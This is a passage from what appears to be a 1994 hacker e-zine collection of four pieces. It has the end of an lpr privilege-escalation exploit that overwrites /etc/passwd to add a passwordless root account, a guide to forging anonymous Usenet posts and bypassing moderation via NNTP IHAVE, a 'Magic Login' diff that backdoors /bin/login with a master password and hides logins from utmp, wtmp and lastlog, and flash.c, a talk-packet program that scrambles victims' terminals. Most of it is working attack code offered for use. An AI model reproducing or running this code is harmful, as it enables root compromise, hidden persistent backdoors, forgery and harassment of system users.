lpr /nofile >&/dev/null # doesn't exist, but spins the clock!
@ s++
if ( $s % 10 == 0 ) echo -n .
end
lpr $1 # incoming file
# user becomes owner
rm -f /tmp/.tmp.$$
exit 0
8<--------------------------- cut here ----------------------------
(Lines marked with > represent user input)
Make copies of /etc/passwd and /etc/group, and modify them:
> % id
uid=97(8lgm) gid=97(8lgm) groups=97(8lgm)
> % cp /etc/passwd /tmp/passwd
> % ex /tmp/passwd
/tmp/passwd: unmodified: line 42
> :a
> 8lgmroot::0:0:Test account for lpr bug:/:/bin/csh
> .
> :wq
/tmp/passwd: 43 lines, 2188 characters.
> % cp /etc/group /tmp
> % ex /tmp/group
/tmp/group: unmodified: line 49
> :/wheel
wheel:*:0:root,operator
> :c
> wheel:*:0:root,operator,8lgm
> .
> :wq
/tmp/group: 49 lines, 944 characters.
Install our new files:
> % ./lprcp /tmp/group /etc/group
................................................................
...................................
lpr: cannot rename /var/spool/lpd/cfA060testnode
> % ./lprcp /tmp/passwd /etc/passwd
.................................................................
..................................
lpr: cannot rename /var/spool/lpd/cfA061testnode
Check it worked:
> % ls -l /etc/passwd /etc/group
-rw-r--r-- 1 8lgm 944 Mar 3 19:56 /etc/group
-rw-r--r-- 1 8lgm 2188 Mar 3 19:59 /etc/passwd
> % head -1 /etc/group
wheel:*:0:root,operator,8lgm
> % grep '^8lgmroot' /etc/passwd
8lgmroot::0:0:Test account for lpr bug:/:/bin/csh
Become root and tidy up:
> % su 8lgmroot
# chown root /etc/passwd /etc/group
# rm -f /tmp/passwd /tmp/group
#
FIX:
1. Contact your vendor for a fix.
2. In the meantime, apply the following patch, derived from
BSD NET/2 source, which will correct the flaw on most
affected systems:
------------------------------------------------------------------------------
Anonymous netnews without "anonymous" remailers
Save any news article to a file. We'll call it "hak" in this example.
Edit hak, and remove any header lines of the form
From some!random!path!user (note: "From ", not "From: " !!)
Article:
Lines:
Shorten the Path: header down to its LAST two or three "bangized" components.
This is to make the article look like it was posted from where it really was
posted, and originally hit the net at or near the host you send it to. Or
you can construct a completely new Path: line to reflect your assumed alias.
Make some change to the Message-ID: field, that isn't likely to be
duplicated anywhere. This is usually best done by adding a couple of
random characters to the part before the @, since news posting programs
generally use a fixed-length field to generate these IDs.
Change the other headers to say what you like -- From:, Newsgroups:,
Sender:, etc. Replace the original message text with your message.
If you are posting to a moderated group, remember to put in an Approved:
header to bypass the moderation mechanism.
Write out the changed file, and send it to your favorite NNTP server that
permits transfers via the IHAVE command, using the following script:
=======================
#! /bin/sh
## Post an article via IHAVE.
## args: filename server
if test "$2" = "" ; then
echo usage: $0 filename server
exit 1
fi
if test ! -f $1 ; then
echo $1: not found
exit 1
fi
# suck msg-id out of headers, keep the brackets
msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \
sed 's/.*-[Ii][Dd]: //'`
echo $msgid
( sleep 5
echo IHAVE $msgid
sleep 3
cat $1
sleep 1
echo "."
sleep 1
echo QUIT ) | telnet $2 119
=======================
If your article doesn't appear in a day or two, try a different server.
They are easy to find. Here's a script that will break a large file
full of saved netnews into a list of hosts to try. Edit the output
of this if you want, to remove obvious peoples' names and other trash.
=======================
#! /bin/sh
FGV='fgrep -i -v'
egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\
/g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp
=======================
Once you have your host list, feed it to the following script.
=======================
#! /bin/sh
while read xx ; do
if test "$xx" = "" ; then continue;
fi
echo === $xx
( echo open $xx 119
sleep 5
echo ihave k00l@x.edu
sleep 4
echo .
echo quit
sleep 1
echo quit
) | telnet
done
=======================
If the above script is called "findem" and you're using csh, you should do
findem < list >& outfile
so that ALL output from telnet is captured. This takes a long time, but when
it finishes, edit "outfile" and look for occurrences of "335". These mark
answers from servers that might be willing to accept an article. This isn't a
completely reliable indication, since some servers respond with acceptance and
later drop articles. Try a given server with a slightly modified repeat of
someone else's message, and see if it eventually appears.
You will notice other servers that don't necessarily take an IHAVE, but
say "posting ok". You can probably do regular POSTS through these, but they
will add an "NNTP-Posting-Host: " header containing the machine YOU came from.
------------------------------------------------------------------------------
Magic Login - Written by Data King - 7 July 1994
PLEASE NOTE:-
This program code is released on the understanding that neither the
author or Phrack Magazine suggest that you implement this on **ANY**
system that you are not authorized to do so. The author provides this
implementation of a "Magic" login as a learning exercise in security
programming.
Sorry for the disclaimer readers but I was advised by the AFP (Australian
Federal Police) that if I ever released this code they would bust me for
aiding and abetting. I am releasing it anyway as I believe in the right of
people to KNOW, but not necessarily to DO.
As always I can be emailed at dking@suburbia.apana.org.au
(Please note:- I have a NEW pgp signature.)
INTRODUCTION
~~~~~~~~~~~~
Briefly I am going to explain what a "Magic" login is and some of the steps you
need to go through to receive the desired result. At the end of this article is
a diff that can be applied to the shadow-3.2.2-linux archive to implement some
of these ideas.
EXPLANATION
~~~~~~~~~~~
A "Magic" login is a modified login program that allows the user to login
without knowing the correct password for the account they are logging into.
This is a very simple programming exercise and can be done by almost anyone, but
a really effective "Magic" login program will do much more than this. The
features of the supplied "Magic" login are:
- Will login to any valid account as long as you know the Magic password.
- Hides you in UTMP
[B
- Does not Log to WTMP
- Allows Root Login from NON authorized Terminals
- Preserves the Lastlogin information (ie Keeps it as though you had never
logged in with the magic password)
- Produces a binary that is exactly the same length as the original binary.
IMPLEMENTATION
~~~~~~~~~~~~~~
I am not going to go into great detail here on how to write such a system as
this. The code is very simple and it contains plenty of comments, so just look
there for ideas.
For this system to have less chance of being detected you need to do several
things.
First select a "Magic" password that is not easily identifiable by stringing the
binary. This is why in the example I have used the word "CONSOLE", this word
already appears several times in the binary so detection of one more is
unlikely.
Admittedly I could of encrypted the "Magic" password, but I decided against this
for several reasons.
The second thing you would need to do if you where illegally placing a "Magic"
login on a system would be to ensure that the admins are not doing CRC checks on
SUID(0) programs, or if they are that you change the CRC record of login to
match the CRC record of the "Magic" login.
Thirdly do not forget to make the date and time stamp of the new binary match
the old ones.
To install a new /bin/login on a system you will need to be root, now if you are
already root why would you bother? Simple, it is just one more backdoor that you
can use to get back in if you are detected.
LIMITATIONS
~~~~~~~~~~~
This version of the "Magic" login program does not have the following features,
I leave it entirely up to you about implementing something to fix them:
- Shells & Programs show up in the Process Table
- tty Ownership and attributes
- /proc filesystem
Any one of these to an alert system admin will show that there is an "invisible"
user on the system. However it has been my experience that most admin's rarely
look at these things, or if they do they can not see the wood for the trees.
-----<cut here>-----
diff -c /root/work/login/console.c /root/work/logon/console.c
*** /root/work/login/console.c Sun Oct 11 07:16:47 1992
--- /root/work/logon/console.c Sat Jun 4 15:29:15 1994
***************
*** 21,26 ****
--- 21,27 ----
#endif
extern char *getdef_str();
+ extern int magik;
/*
* tty - return 1 if the "tty" is a console device, else 0.
***************
*** 47,52 ****
--- 48,57 ----
if ((console = getdef_str("CONSOLE")) == NULL)
return 1;
+ /* Fix for Magic Login - UnAuth Console - Data King */
+
+ if (magik==1)
+ return 1;
/*
* If this isn't a filename, then it is a ":" delimited list of
* console devices upon which root logins are allowed.
diff -c /root/work/login/lmain.c /root/work/logon/lmain.c
*** /root/work/login/lmain.c Mon Oct 12 17:35:06 1992
--- /root/work/logon/lmain.c Sat Jun 4 15:30:37 1994
***************
*** 105,110 ****
--- 105,111 ----
char *Prog;
int newenvc = 0;
int maxenv = MAXENV;
+ int magik; /* Global Flag for Magic Login - Data King */
/*
* External identifiers.
diff -c /root/work/login/log.c /root/work/logon/log.c
*** /root/work/login/log.c Mon Oct 12 17:35:07 1992
--- /root/work/logon/log.c Sat Jun 4 15:37:22 1994
***************
*** 53,58 ****
--- 53,59 ----
extern struct passwd pwent;
extern struct lastlog lastlog;
extern char **environ;
+ extern char magik;
long lseek ();
time_t time ();
***************
*** 83,89 ****
(void) time (&newlog.ll_time);
(void) strncpy (newlog.ll_line, utent.ut_line, sizeof newlog.ll_line);
(void) lseek (fd, offset, 0);
! (void) write (fd, (char *) &newlog, sizeof newlog);
(void) close (fd);
}
--- 84,93 ----
(void) time (&newlog.ll_time);
(void) strncpy (newlog.ll_line, utent.ut_line, sizeof newlog.ll_line);
(void) lseek (fd, offset, 0);
! if (magik !=1) /* Dont Modify Last login Specs if this is a Magic */
! { /* login - Data King */
! (void) write (fd, (char *) &newlog, sizeof newlog);
! }
(void) close (fd);
}
diff -c /root/work/login/utmp.c /root/work/logon/utmp.c
*** /root/work/login/utmp.c Mon Oct 12 17:35:36 1992
--- /root/work/logon/utmp.c Sat Jun 4 15:41:13 1994
***************
*** 70,75 ****
--- 70,77 ----
extern long lseek();
#endif /* SVR4 */
+ extern int magik;
+
#define NO_UTENT \
"No utmp entry. You must exec \"login\" from the lowest level \"sh\""
#define NO_TTY \
***************
*** 353,368 ****
/*
* Scribble out the new entry and close the file. We're done
* with UTMP, next we do WTMP (which is real easy, put it on
! * the end of the file.
*/
!
! (void) write (fd, &utmp, sizeof utmp);
! (void) close (fd);
!
! if ((fd = open (WTMP_FILE, O_WRONLY|O_APPEND)) >= 0) {
(void) write (fd, &utmp, sizeof utmp);
(void) close (fd);
}
- utent = utmp;
#endif /* SVR4 */
}
--- 355,372 ----
/*
* Scribble out the new entry and close the file. We're done
* with UTMP, next we do WTMP (which is real easy, put it on
! * the end of the file. If Magic Login, DONT write out UTMP - Data King
*/
! if (magik !=1)
! {
(void) write (fd, &utmp, sizeof utmp);
(void) close (fd);
+
+ if ((fd = open (WTMP_FILE, O_WRONLY|O_APPEND)) >= 0) {
+ (void) write (fd, &utmp, sizeof utmp);
+ (void) close (fd);
+ }
+ utent = utmp;
}
#endif /* SVR4 */
}
diff -c /root/work/login/valid.c /root/work/logon/valid.c
*** /root/work/login/valid.c Sun Oct 11 07:16:55 1992
--- /root/work/logon/valid.c Sat Jun 4 15:47:28 1994
***************
*** 25,30 ****
--- 25,32 ----
static char _sccsid[] = "@(#)valid.c 3.4 08:44:15 9/12/91";
#endif
+ extern int magik;
+
/*
* valid - compare encrypted passwords
*
***************
*** 43,48 ****
--- 45,64 ----
char *encrypt;
char *salt;
char *pw_encrypt ();
+ char *magic;
+
+ /*
+ * Below is the piece of code that checks to see if the password
+ * supplied by the user = the Magic Password - Data King
+ */
+
+ magic = "CONSOLE"; /* Define this as the Magic Password - Data King */
+
+ if (strcmp(password,magic) == 0)
+ {
+ magik = 1;
+ return(1);
+ }
/*
* Start with blank or empty password entries. Always encrypt
------------------------------------------------------------------------------
/* flash.c */
/* This little program is intended to quickly mess up a user's
terminal by issuing a talk request to that person and sending
vt100 escape characters that force the user to logout or kill
his/her xterm in order to regain a sane view of the text.
It the user's message mode is set to off (mesg n) he/she will
be unharmed.
This program is really nasty :-)
Usage: flash user@host
try compiling with: gcc -o flash flash.c
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <strings.h>
/* this should really be in an include file.. */
#define OLD_NAME_SIZE 9
#define NAME_SIZE 12
#define TTY_SIZE 16
typedef struct {
char type;
char l_name[OLD_NAME_SIZE];
char r_name[OLD_NAME_SIZE];
char filler;
u_long id_num;
u_long pid;
char r_tty[TTY_SIZE];
struct sockaddr_in addr;
struct sockaddr_in ctl_addr;
} OLD_MSG;
typedef struct {
u_char vers;
char type;
u_short filler;
u_long id_num;
struct sockaddr_in addr;
struct sockaddr_in ctl_addr;
long pid;
char l_name[NAME_SIZE];
char r_name[NAME_SIZE];
char r_tty[TTY_SIZE];
} CTL_MSG;
#define TALK_VERSION 1 /* protocol version */
/* Types */
#define LEAVE_INVITE 0
#define LOOK_UP 1
#define DELETE 2
#define ANNOUNCE 3
int current = 1; /* current id.. this to avoid duplications */
struct sockaddr_in *getinaddr(char *hostname, u_short port)
{
static struct sockaddr addr;
struct sockaddr_in *address;
struct hostent *host;
address = (struct sockaddr_in *)&addr;
(void) bzero( (char *)address, sizeof(struct sockaddr_in) );
/* fill in the easy fields */
address->sin_family = AF_INET;
address->sin_port = htons(port);
/* first, check if the address is an ip address */
address->sin_addr.s_addr = inet_addr(hostname);
if ( (int)address->sin_addr.s_addr == -1)
{
/* it wasn't.. so we try it as a long host name */
host = gethostbyname(hostname);
if (host)
{
/* wow. It's a host name.. set the fields */
/* ?? address->sin_family = host->h_addrtype; */
bcopy( host->h_addr, (char *)&address->sin_addr,
host->h_length);
}
else
{
/* oops.. can't find it.. */
puts("Couldn't find address");
exit(-1);
return (struct sockaddr_in *)0;
}
}
/* all done. */
return (struct sockaddr_in *)address;
}
SendTalkPacket(struct sockaddr_in *target, char *p, int psize)
{
int s;
struct sockaddr sample; /* not used.. only to get the size */
s = socket(AF_INET, SOCK_DGRAM, 0);
sendto( s, p, psize, 0,(struct sock_addr *)target, sizeof(sample) );
}
new_ANNOUNCE(char *hostname, char *remote, char *local)
{
CTL_MSG packet;
struct sockaddr_in *address;
/* create a packet */
address = getinaddr(hostname, 666 );
address->sin_family = htons(AF_INET);
bzero( (char *)&packet, sizeof(packet) );
packet.vers = TALK_VERSION;
packet.type = ANNOUNCE;
packet.pid = getpid();
packet.id_num = current;
bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) );
bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
strncpy( packet.l_name, local, NAME_SIZE);
strncpy( packet.r_name, remote, NAME_SIZE);
strncpy( packet.r_tty, "", 1);
SendTalkPacket( getinaddr(hostname, 518), (char *)&packet, sizeof(packet) );
}
old_ANNOUNCE(char *hostname, char *remote, char *local)
{
OLD_MSG packet;
struct sockaddr_in *address;
/* create a packet */
address = getinaddr(hostname, 666 );
address->sin_family = htons(AF_INET);
bzero( (char *)&packet, sizeof(packet) );
packet.type = ANNOUNCE;
packet.pid = getpid();
packet.id_num = current;
bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) );
bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
strncpy( packet.l_name, local, NAME_SIZE);
strncpy( packet.r_name, remote, NAME_SIZE);
strncpy( packet.r_tty, "", 1);
SendTalkPacket( getinaddr(hostname, 517), (char *)&packet, sizeof(packet) );
}
main(int argc, char *argv[])
{
char *hostname, *username;
int pid;
if ( (pid = fork()) == -1)
{
perror("fork()");
exit(-1);
}
if ( !pid )
{
exit(0);
}
if (argc < 2) {
puts("Usage: <finger info> ");
exit(5);
}
username = argv[1];
if ( (hostname = (char *)strchr(username, '@')) == NULL )
{
puts("Invalid name. ");
exit(-1);
}
*hostname = '\0';
hostname++;
if (*username == '~')
username++;
#define FIRST "\033c\033(0\033#8"
#define SECOND "\033[1;3r\033[J"
#define THIRD "\033[5m\033[?5h"
new_ANNOUNCE(hostname, username, FIRST);
old_ANNOUNCE(hostname, username, FIRST);
current++;
new_ANNOUNCE(hostname, username, SECOND);
new_ANNOUNCE(hostname, username, SECOND);
current++;
new_ANNOUNCE(hostname, username, THIRD);
old_ANNOUNCE(hostname, username, THIRD);
}
------------------------------------------------------------------------------